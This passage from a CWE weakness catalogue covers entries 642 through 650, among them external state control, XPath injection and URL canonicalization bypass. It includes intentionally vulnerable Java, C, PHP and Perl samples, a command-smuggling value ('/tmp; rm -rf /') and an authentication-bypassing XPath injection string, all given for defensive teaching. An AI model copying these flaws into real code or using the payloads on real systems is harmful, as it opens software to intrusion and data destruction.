Context where the resources are consumed makes execution of code possible based on the names of the supplied resources.

**Potential Mitigations**

**Architecture and Design**

Do not allow users to control names of resources used on the server side.

**Architecture and Design**

Perform white list input validation at entry points and also before consuming the resources. Reject bad file names rather than trying to cleanse them.

**Architecture and Design**

Make sure that technologies consuming the resources are not vulnerable (e.g. buffer overflow, format string, etc.) in a way that would allow code execution if the name of the resource is malformed.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf	<b>B</b>	99	Improper Control of Resource Identifiers ('Resource Injection')	<b>699</b> <b>1000</b>	190
ChildOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP24	Tainted input to command

## CWE-642: External Control of Critical State Data

Weakness ID: 642 (*Weakness Class*)

Status: Draft

### Description

#### Summary

The software stores security-critical state information about its users, or the software itself, in a location that is accessible to unauthorized actors.

#### Extended Description

If an attacker can modify the state information without detection, then it could be used to perform unauthorized actions or access unexpected resources, since the application programmer does not expect that the state can be changed.

State information can be stored in various locations such as a cookie, in a hidden web form field, input parameter or argument, an environment variable, a database record, within a settings file, etc. All of these locations have the potential to be modified by an attacker. When this state information is used to control security or determine resource usage, then it may create a vulnerability. For example, an application may perform authentication, then save the state in an "authenticated=true" cookie. An attacker may simply create this cookie in order to bypass the authentication.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

##### Technology Classes

- Web-Server (*Often*)

#### Common Consequences

##### Access Control

##### Bypass protection mechanism

##### Gain privileges / assume identity

An attacker could potentially modify the state in malicious ways. If the state is related to the privileges or level of authentication that the user has, then state modification might allow the user to bypass authentication or elevate privileges.

##### Confidentiality

##### Read application data

The state variables may contain sensitive information that should not be known by the client.

##### Availability

##### DoS: crash / exit / restart

By modifying state variables, the attacker could violate the application's expectations for the contents of the state, leading to a denial of service due to an unexpected error condition.

#### Likelihood of Exploit

High

#### Enabling Factors for Exploitation

An application maintains its own state and/or user state (i.e. application is stateful).

State information can be affected by the user of an application through some means other than the legitimate state transitions (e.g. logging into the system, purchasing an item, making a payment, etc.)

An application does not have means to detect state tampering and behave in a fail safe manner.

#### Demonstrative Examples

##### Example 1:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

**Java Example:**

*Bad Code*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
        authenticated = true;
    }
}
```

**Example 2:**

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

**Java Example:**

*Bad Code*

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();
```

**Example 3:**

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

**Java Example:**

*Bad Code*

```
fis = new FileInputStream(cfg.getProperty("sub")+".txt");
amt = fis.read(arr);
out.println(arr);
```

**Example 4:**

This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.

**C Example:**

*Bad Code*

```
#define DIR "/restricted/directory"
char cmd[500];
sprintf(cmd, "ls -l %480s", DIR);
/* Raise privileges to those needed for accessing DIR. */
RaisePrivileges(...);
system(cmd);
DropPrivileges(...);
...
```

This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.

However, because the program does not modify the PATH environment variable, the following attack would work:

**PseudoCode Example:**

*Attack*

The user sets the PATH to reference a directory under that user's control, such as "/my/dir/".

The user creates a malicious program called "ls", and puts that program in /my/dir

The user executes the program.

When system() is executed, the shell consults the PATH to find the ls program

The program finds the malicious program, "/my/dir/ls". It doesn't find "/bin/ls" because PATH does not contain "/bin/".

The program executes the malicious program with the raised privileges.

### Example 5:

This code prints all of the running processes belonging to the current user.

#### PHP Example:

*Bad Code*

```
//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (CWE-78)
$UserName = getCurrentUser();
$command = 'ps aux | grep ' . $UserName;
system($command);
```

This program is also vulnerable to a PATH based attack (CWE-426), as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.

### Example 6:

The following code segment implements a basic server that uses the "ls" program to perform a directory listing of the directory that is listed in the "HOMEDIR" environment variable. The code intends to allow the user to specify an alternate "LANG" environment variable. This causes "ls" to customize its output based on a given language, which is an important capability when supporting internationalization.

#### Perl Example:

*Bad Code*

```
$ENV{"HOMEDIR"} = "/home/mydir/public";
my $stream = AcceptUntrustedInputStream();
while (<$stream>) {
    chomp;
    if (/^ENV ([\w_]+) (.*)/) {
        $ENV{$1} = $2;
    }
    elsif (/^QUIT/) { ... }
    elsif (/^LIST/) {
        open($fh, "/bin/ls -l $ENV{HOMEDIR}");
        while (<$fh>) {
            SendOutput($stream, "FILEINFO: $_");
        }
        close($fh);
    }
}
```

The programmer takes care to call a specific "ls" program and sets the HOMEDIR to a fixed value. However, an attacker can use a command such as "ENV HOMEDIR /secret/directory" to specify an alternate directory, enabling a path traversal attack (CWE-22). At the same time, other attacks are enabled as well, such as OS command injection (CWE-78) by setting HOMEDIR to a value such as "/tmp; rm -rf /". In this case, the programmer never intends for HOMEDIR to be modified, so input validation for HOMEDIR is not the solution. A partial solution would be a whitelist that only allows the LANG variable to be specified in the ENV command. Alternately, assuming this is an authenticated user, the language could be stored in a local file so that no ENV command at all would be needed.

While this example may not appear realistic, this type of problem shows up in code fairly frequently. See CVE-1999-0073 in the observed examples for a real-world example with similar behaviors.

### Observed Examples

Reference	Description
CVE-1999-0073	Telnet daemon allows remote clients to specify critical environment variables for the server, leading to code execution.
CVE-2000-0102	Shopping cart allows price modification via hidden form field.
CVE-2000-0253	Shopping cart allows price modification via hidden form field.
CVE-2005-2428	Mail client stores password hashes for unrelated accounts in a hidden form field.
CVE-2006-7191	Untrusted search path vulnerability through modified LD_LIBRARY_PATH environment variable.

Reference	Description
CVE-2007-4432	Untrusted search path vulnerability through modified LD_LIBRARY_PATH environment variable.
CVE-2008-0306	Privileged program trusts user-specified environment variable to modify critical configuration settings.
CVE-2008-1319	Server allows client to specify the search path, which can be modified to point to a program that the client has uploaded.
CVE-2008-4752	Application allows admin privileges by setting a cookie value to "admin."
CVE-2008-5065	Application allows admin privileges by setting a cookie value to "admin."
CVE-2008-5125	Application allows admin privileges by setting a cookie value to "admin."
CVE-2008-5642	Setting of a language preference in a cookie enables path traversal attack.
CVE-2008-5738	Calendar application allows bypass of authentication by setting a certain cookie value to 1.

## Potential Mitigations

### Architecture and Design

Understand all the potential locations that are accessible to attackers. For example, some programmers assume that cookies and hidden form fields cannot be modified by an attacker, or they may not consider that environment variables can be modified before a privileged program is invoked.

### Architecture and Design

#### Identify and Reduce Attack Surface

Store state information and sensitive data on the server side only.

Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [R.642.2]. Apply this against the state or sensitive data that you has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

### Architecture and Design

Store state information on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

### Architecture and Design

#### Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

With a stateless protocol such as HTTP, use some frameworks can maintain the state for you. Examples include ASP.NET View State and the OWASP ESAPI Session Management feature. Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

### Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Operation  
 Implementation**

**Environment Hardening**

When using PHP, configure the application so that it does not use register\_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register\_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

**Testing**

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

**Testing**

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

**Testing**

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		371	State Issues	699	650
ChildOf		668	Exposure of Resource to Wrong Sphere	1000	1035
ChildOf		752	2009 Top 25 - Risky Resource Management	750	1143
ChildOf		963	SFP Secondary Cluster: Exposed Data	888	1377
ParentOf		15	External Control of System or Configuration Setting	1000	14
ParentOf		73	External Control of File Name or Path	1000	109
RequiredBy		352	Cross-Site Request Forgery (CSRF)	1000	611
ParentOf		426	Untrusted Search Path	1000	729
ParentOf		472	External Control of Assumed-Immutable Web Parameter	1000	793
ParentOf		565	Reliance on Cookies without Validation and Integrity Checking	1000	901
MemberOf	<input checked="" type="checkbox"/>	884	CWE Cross-section	884	1319

**Relevant Properties**

- Accessibility
- Mutability
- Trustability

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP23	Exposed Data

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
21	Exploitation of Session Variables, Resource IDs and other Trusted Credentials	
31	Accessing/Intercepting/Modifying HTTP Cookies	
167	Lifting Sensitive Data from the Client	

**References**

- OWASP. "Top 10 2007-Insecure Direct Object Reference". 2007. < [http://www.owasp.org/index.php/Top\\_10\\_2007-A4](http://www.owasp.org/index.php/Top_10_2007-A4) >.
- [REF-30] "HMAC". Wikipedia. 2011-08-18. < <http://en.wikipedia.org/wiki/Hmac> >.



[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 4: Use of Magic URLs, Predictable Cookies, and Hidden Form Fields." Page 75. McGraw-Hill. 2010.

## CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')

**Weakness ID:** 643 (*Weakness Base*)

**Status:** Incomplete

### Description

#### Summary

The software uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.

#### Extended Description

The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Access Control

##### Bypass protection mechanism

Controlling application flow (e.g. bypassing authentication).

##### Confidentiality

##### Read application data

The attacker could read restricted XML content.

#### Likelihood of Exploit

High

#### Enabling Factors for Exploitation

XPath queries are constructed dynamically using user supplied input

#### Demonstrative Examples

Consider the following simple XML document that stores authentication information and a snippet of Java code that uses XPath query to retrieve authentication information:

##### XML Example:

```
<users>
<user>
  <login>john</login>
  <password>abracadabra</password>
  <home_dir>/home/john</home_dir>
</user>
<user>
  <login>cbc</login>
  <password>1mgr8</password>
  <home_dir>/home/cbc</home_dir>
</user>
</users>
```

The Java code used to retrieve the home directory based on the provided credentials is:

##### Java Example:

*Bad Code*

```
XPath xpath = XPathFactory.newInstance().newXPath();
XPathExpression xlogin = xpath.compile("//users/user[login/text()=' " + login.getUserName() + " and password/text() = " +
login.getPassword() + "]/home_dir/text()");
Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml"));
```

```
String homedir = xlogin.evaluate(d);
```

Assume that user "john" wishes to leverage XPath Injection and login without a valid password. By providing a username "john" and password "" or "=" the XPath expression now becomes

Attack

```
//users/user[login/text()='john' or "=" and password/text() = "" or "="]/home_dir/text()
```

which, of course, lets user "john" login without a valid password, thus bypassing authentication.

### Potential Mitigations

#### Implementation

Use parameterized XPath queries (e.g. using XQuery). This will help ensure separation between data plane and control plane.

#### Implementation

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XPath queries is safe in that context.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		91	XML Injection (aka Blind XPath Injection)	699 1000	170
ChildOf		943	Improper Neutralization of Special Elements in Data Query Logic	<b>699</b> <b>1000</b>	1369
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

### Relationship Notes

This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
WASC	39	XPath Injection
Software Fault Patterns	SFP24	Tainted input to command

### References

Web Application Security Consortium. "XPath Injection". < [http://www.webappsec.org/projects/threat/classes/xpath\\_injection.shtml](http://www.webappsec.org/projects/threat/classes/xpath_injection.shtml) >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "XPath Injection", Page 1070.. 1st Edition. Addison Wesley. 2006.

## CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax

Weakness ID: 644 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The application does not neutralize or incorrectly neutralizes web scripting syntax in HTTP headers that can be used by web browser components that can process raw headers, such as Flash.

#### Extended Description

An attacker may be able to conduct cross-site scripting and other attacks against users who have these components enabled.

If an application does not neutralize user controlled data being placed in the header of an HTTP response coming from the server, the header may contain a script that will get executed in the client's browser context, potentially resulting in a cross site scripting vulnerability or possibly an HTTP response splitting attack. It is important to carefully control data that is being placed both in HTTP response header and in the HTTP response body to ensure that no scripting syntax is present, taking various encodings into account.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Integrity****Confidentiality****Availability****Execute unauthorized code or commands**

Run arbitrary code.

**Confidentiality****Read application data**

Attackers may be able to obtain sensitive information.

**Likelihood of Exploit**

High

**Enabling Factors for Exploitation**

Script execution functionality is enabled in the user's browser.

**Demonstrative Examples**

In the following Java example, user-controlled data is added to the HTTP headers and returned to the client. Given that the data is not subject to neutralization, a malicious user may be able to inject dangerous scripting tags that will lead to script execution in the client browser.

**Java Example:**

*Bad Code*

```
response.addHeader(HEADER_NAME, untrustedRawInputData);
```

**Observed Examples**

Reference	Description
CVE-2006-3918	Web server does not remove the Expect header from an HTTP request when it is reflected back in an error message, allowing a Flash SWF file to perform XSS attacks.

**Potential Mitigations****Architecture and Design**

Perform output validation in order to filter/escape/encode unsafe data that is being passed from the server in an HTTP response header.

**Architecture and Design**

Disable script execution functionality in the clients' browser.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		116	Improper Encoding or Escaping of Output	<b>699</b> <b>1000</b>	217
ChildOf		442	Web Problems	699	755
ChildOf		725	OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws	<b>711</b>	1118
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP24	Tainted input to command

**CWE-645: Overly Restrictive Account Lockout Mechanism**

Weakness ID: 645 (*Weakness Base*)

Status: Incomplete

**Description****Summary**

The software contains an account lockout protection mechanism, but the mechanism is too restrictive and can be triggered too easily. This allows attackers to deny service to legitimate users by causing their accounts to be locked out.

### Extended Description

Account lockout is a security feature often present in applications as a countermeasure to the brute force attack on the password based authentication mechanism of the system. After a certain number of failed login attempts, the users' account may be disabled for a certain period of time or until it is unlocked by an administrator. Other security events may also possibly trigger account lockout. However, an attacker may use this very security feature to deny service to legitimate system users. It is therefore important to ensure that the account lockout security mechanism is not overly restrictive.

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Availability

#### DoS: resource consumption (other)

Users could be locked out of accounts.

### Likelihood of Exploit

High

### Enabling Factors for Exploitation

The system has an account lockout mechanism.

An attacker must be able to trigger the account lockout mechanism.

The cost to the attacker of triggering the account lockout mechanism should be less than the cost to re-enable the account.

### Observed Examples

#### Description

A famous example of this type an attack is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

### Potential Mitigations

#### Architecture and Design

Implement more intelligent password throttling mechanisms such as those which take IP address into account, in addition to the login name.

#### Architecture and Design

Implement a lockout timeout that grows as the number of incorrect login attempts goes up, eventually resulting in a complete lockout.

#### Architecture and Design

Consider alternatives to account lockout that would still be effective against password brute force attacks, such as presenting the user machine with a puzzle to solve (makes it do some computation).

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		287	Improper Authentication	<b>699</b>	507
ChildOf		951	SFP Secondary Cluster: Insecure Authentication Policy	<b>888</b>	1373

# CWE-646: Reliance on File Name or Extension of Externally-Supplied File

Weakness ID: 646 (Weakness Variant)

Status: Incomplete

## Description

### Summary

The software allows a file to be uploaded, but it relies on the file name or extension of the file to determine the appropriate behaviors. This could be used by attackers to cause the file to be misclassified and processed in a dangerous fashion.

### Extended Description

An application might use the file name or extension of a user-supplied file to determine the proper course of action, such as selecting the correct process to which control should be passed, deciding what data should be made available, or what resources should be allocated. If the attacker can cause the code to misclassify the supplied file, then the wrong action could occur. For example, an attacker could supply a file that ends in a ".php.gif" extension that appears to be a GIF image, but would be processed as PHP code. In extreme cases, code execution is possible, but the attacker could also cause exhaustion of resources, denial of service, exposure of debug or system data (including application source code), or being bound to a particular server side process. This weakness may be due to a vulnerability in any of the technologies used by the web and application servers, due to misconfiguration, or resultant from another flaw in the application itself.

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

#### Confidentiality

##### Read application data

An attacker may be able to read sensitive data.

#### Availability

##### DoS: crash / exit / restart

An attacker may be able to cause a denial of service.

#### Access Control

##### Gain privileges / assume identity

An attacker may be able to gain privileges.

### Likelihood of Exploit

High

### Enabling Factors for Exploitation





There is reliance on file name and/or file extension on the server side for processing.

### Potential Mitigations

#### Architecture and Design

Make decisions on the server side based on file content and not on file name or extension.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		345	Insufficient Verification of Data Authenticity		699 600 <b>1000</b>
ChildOf		442	Web Problems		699 755
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command		<b>888</b> 1388

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
209	Cross-Site Scripting Using MIME Type Mismatch	

## CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions

Weakness ID: 647 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The software defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization.

#### Extended Description

If an application defines policy namespaces and makes authorization decisions based on the URL, but it does not require or convert to a canonical URL before making the authorization decision, then it opens the application to attack. For example, if the application only wants to allow access to `http://www.example.com/mypage`, then the attacker might be able to bypass this restriction using equivalent URLs such as:

`http://WWW.EXAMPLE.COM/mypage`  
`http://www.example.com/%6Dypage` (alternate encoding)  
`http://192.168.1.1/mypage` (IP address)  
`http://www.example.com/mypage/` (trailing /)  
`http://www.example.com:80/mypage`

Therefore it is important to specify access control policy that is based on the path information in some canonical form with all alternate encodings rejected (which can be accomplished by a default deny rule).

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Applicable Platforms

##### Languages

- Language-independent

##### Architectural Paradigms

- Web-based

#### Common Consequences

##### Access Control

##### Bypass protection mechanism

An attacker may be able to bypass the authorization mechanism to gain access to the otherwise-protected URL.

##### Confidentiality

##### Read files or directories

If a non-canonical URL is used, the server may choose to return the contents of the file, instead of pre-processing the file (e.g. as a program).

#### Likelihood of Exploit

High

#### Enabling Factors for Exploitation

An application specifies its policy namespaces and access control rules based on the path information.

Alternate (but equivalent) encodings exist to represent the same path information that will be understood and accepted by the process consuming the path and granting access to resources.

#### Observed Examples

**Description**

Example from CAPEC (CAPEC ID: 4, "Using Alternative IP Address Encodings"). An attacker identifies an application server that applies a security policy based on the domain and application name, so the access control policy covers authentication and authorization for anyone accessing `http://example.domain:8080/application`. However, by putting in the IP address of the host the application authentication and authorization controls may be bypassed `http://192.168.0.1:8080/application`. The attacker relies on the victim applying policy to the namespace abstraction and not having a default deny policy in place to manage exceptions.

**Potential Mitigations****Architecture and Design**

Make access control policy based on path information in canonical form. Use very restrictive regular expressions to validate that the path is in the expected form.

**Architecture and Design**

Reject all alternate path encodings that are not in the expected canonical form.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		442	Web Problems	699	755
ChildOf		845	CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)	<b>844</b>	1291
ChildOf		863	Incorrect Authorization	<b>699</b> <b>1000</b>	1304
ChildOf		949	SFP Secondary Cluster: Faulty Endpoint Authentication	<b>888</b>	1372

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	IDS02-J	Canonicalize path names before validating them

## CWE-648: Incorrect Use of Privileged APIs

**Weakness ID:** 648 (*Weakness Base*)**Status:** Incomplete**Description****Summary**

The application does not conform to the API requirements for a function call that requires extra privileges. This could allow attackers to gain privileges by causing the function to be called incorrectly.

**Extended Description**

When an application contains certain functions that perform operations requiring an elevated level of privilege, the caller of a privileged API must be careful to:

- ensure that assumptions made by the APIs are valid, such as validity of arguments
- account for known weaknesses in the design/implementation of the API
- call the API from a safe context

If the caller of the API does not follow these requirements, then it may allow a malicious user or process to elevate their privilege, hijack the process, or steal sensitive data.

For instance, it is important to know if privileged APIs do not shed their privileges before returning to the caller or if the privileged function might make certain assumptions about the data, context or state information passed to it by the caller. It is important to always know when and how privileged APIs can be called in order to ensure that their elevated level of privilege cannot be exploited.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms****Languages**

- All

**Common Consequences**



**Access Control**

**Gain privileges / assume identity**

An attacker may be able to elevate privileges.

**Confidentiality**

**Read application data**

An attacker may be able to obtain sensitive information.

**Integrity**

**Confidentiality**

**Availability**

**Execute unauthorized code or commands**

An attacker may be able to execute code.

**Likelihood of Exploit**

Low

**Enabling Factors for Exploitation**

An application contains functions running processes that hold higher privileges.

There is code in the application that calls the privileged APIs.

There is a way for a user to control the data that is being passed to the privileged API or control the context from which it is being called.

**Observed Examples**

**Description**

From <http://xforce.iss.net/xforce/xfdb/12848>: man-db is a Unix utility that displays online help files. man-db versions 2.3.12 beta and 2.3.18 to 2.4.1 could allow a local attacker to gain privileges, caused by a vulnerability when the open\_cat\_stream function is called. If man-db is installed setuid, a local attacker could exploit this vulnerability to gain "man" user privileges.

**Potential Mitigations**

**Implementation**

Before calling privileged APIs, always ensure that the assumptions made by the privileged code hold true prior to making the call.

**Architecture and Design**

Know architecture and implementation weaknesses of the privileged APIs and make sure to account for these weaknesses before calling the privileged APIs to ensure that they can be called safely.

**Implementation**

If privileged APIs make certain assumptions about data, context or state validity that are passed by the caller, the calling code must ensure that these assumptions have been validated prior to making the call.

**Implementation**

If privileged APIs do not shed their privilege prior to returning to the calling code, then calling code needs to shed these privileges immediately and safely right after the call to the privileged APIs. In particular, the calling code needs to ensure that a privileged thread of execution will never be returned to the user or made available to user-controlled processes.

**Implementation**

Only call privileged APIs from safe, consistent and expected state.

**Implementation**

Ensure that a failure or an error will not leave a system in a state where privileges are not properly shed and privilege escalation is possible (i.e. fail securely with regards to handling of privileges).

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		227	Improper Fulfillment of API Contract ('API Abuse')	1000	418
ChildOf		265	Privilege / Sandbox Issues	699	469
ChildOf		269	Improper Privilege Management	1000	477
ChildOf		977	SFP Secondary Cluster: Design	888	1382

Nature	Type	ID	Name	✓	Page
MemberOf	✓	884	CWE Cross-section	884	1319

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
107	Cross Site Tracing	
234	Hijacking a privileged process	

## CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking

Weakness ID: 649 (Weakness Base)

Status: Incomplete

**Description****Summary**

The software uses obfuscation or encryption of inputs that should not be mutable by an external actor, but the software does not use integrity checks to detect if those inputs have been modified.

**Extended Description**

When an application relies on obfuscation or incorrectly applied / weak encryption to protect client-controllable tokens or parameters, that may have an effect on the user state, system state, or some decision made on the server. Without protecting the tokens/parameters for integrity, the application is vulnerable to an attack where an adversary blindly traverses the space of possible values of the said token/parameter in order to attempt to gain an advantage. The goal of the attacker is to find another admissible value that will somehow elevate his or her privileges in the system, disclose information or change the behavior of the system in some way beneficial to the attacker. If the application does not protect these critical tokens/parameters for integrity, it will not be able to determine that these values have been tampered with. Measures that are used to protect data for confidentiality should not be relied upon to provide the integrity service.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Integrity****Unexpected state**

The inputs could be modified without detection, causing the software to have unexpected system state or make incorrect security decisions.

**Likelihood of Exploit**

High

**Enabling Factors for Exploitation**

The application uses client controllable tokens/parameters in order to make decisions on the server side about user state, system state or other decisions related to the functionality of the application.

The application does not protect client controllable tokens/parameters for integrity and thus not able to catch tampering.

**Observed Examples**

Reference	Description
CVE-2005-0039	An IPSec configuration does not perform integrity checking of the IPSec packet as the result of either not configuring ESP properly to support the integrity service or using AH improperly. In either case, the security gateway receiving the IPSec packet would not validate the integrity of the packet to ensure that it was not changed. Thus if the packets were intercepted the attacker could undetectably change some of the bits in the packets. The meaningful bit flipping was possible due to the known weaknesses in the CBC encryption mode. Since the attacker knew the structure of the packet, he or she was able (in one variation of the attack) to use bit flipping to change the destination IP of the packet

Reference	Description
	to the destination machine controlled by the attacker. And so the destination security gateway would decrypt the packet and then forward the plaintext to the machine controlled by the attacker. The attacker could then read the original message. For instance if VPN was used with the vulnerable IPSec configuration the attacker could read the victim's e-mail. This vulnerability demonstrates the need to enforce the integrity service properly when critical data could be modified by an attacker. This problem might have also been mitigated by using an encryption mode that is not susceptible to bit flipping attacks, but the preferred mechanism to address this problem still remains message verification for integrity. While this attack focuses on the network layer and requires a man in the middle scenario, the situation is not much different at the software level where an attacker can modify tokens/parameters used by the application.

### Potential Mitigations

#### Architecture and Design

Protect important client controllable tokens/parameters for integrity using PKI methods (i.e. digital signatures) or other means, and checks for integrity on the server side.

#### Architecture and Design

Repeated requests from a particular user that include invalid values of tokens/parameters (those that should not be changed manually by users) should result in the user account lockout.


#### Architecture and Design

Client side tokens/parameters should not be such that it would be easy/predictable to guess another valid state.

#### Architecture and Design

Obfuscation should not be relied upon. If encryption is used, it needs to be properly applied (i.e. proven algorithm and implementation, use padding, use random initialization vector, user proper encryption mode). Even with proper encryption where the ciphertext does not leak information about the plaintext or reveal its structure, compromising integrity is possible (although less likely) without the provision of the integrity service.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		345	Insufficient Verification of Data Authenticity	<input checked="" type="checkbox"/>	600
ChildOf		975	SFP Secondary Cluster: Architecture		1382

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
463	Padding Oracle Crypto Attack	

## CWE-650: Trusting HTTP Permission Methods on the Server Side

**Weakness ID:** 650 (*Weakness Variant*) **Status:** Incomplete

### Description

#### Summary

The server contains a protection mechanism that assumes that any URI that is accessed using HTTP GET will not cause a state change to the associated resource. This might allow attackers to bypass intended access restrictions and conduct resource modification and deletion attacks, since some applications allow GET to modify state.

#### Extended Description

An application may disallow the HTTP requests to perform DELETE, PUT and POST operations on the resource representation, believing that it will be enough to prevent unintended resource alterations. Even though the HTTP GET specification requires that GET requests should not have side effects, there is nothing in the HTTP protocol itself that prevents the HTTP GET method from performing more than just query of the data. For instance, it is a common practice with REST based Web Services to have HTTP GET requests modifying resources on the server

side. Whenever that happens however, the access control needs to be properly enforced in the application. No assumptions should be made that only HTTP DELETE, PUT, and POST methods have the power to alter the representation of the resource being accessed in the request.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Access Control

##### Gain privileges / assume identity

An attacker could escalate privileges.

##### Integrity

##### Modify application data

An attacker could modify resources.

##### Confidentiality

##### Read application data

An attacker could obtain sensitive information.

#### Likelihood of Exploit

High

#### Enabling Factors for Exploitation

The application allows HTTP access to resources.

The application is not properly configured to enforce access controls around the resources accessible via HTTP.

#### Observed Examples

##### Description

The HTTP GET method is designed to retrieve resources and not to alter the state of the application or resources on the server side. However, developers can easily code programs that accept a HTTP GET request that do in fact create, update or delete data on the server. Both Flickr (<http://www.flickr.com/services/api/flickr.photosets.delete.html>) and del.icio.us (<http://del.icio.us/api/posts/delete>) have implemented delete operations using standard HTTP GET requests. These HTTP GET methods do delete data on the server side, despite being called from GET, which is not supposed to alter state.

#### Potential Mitigations

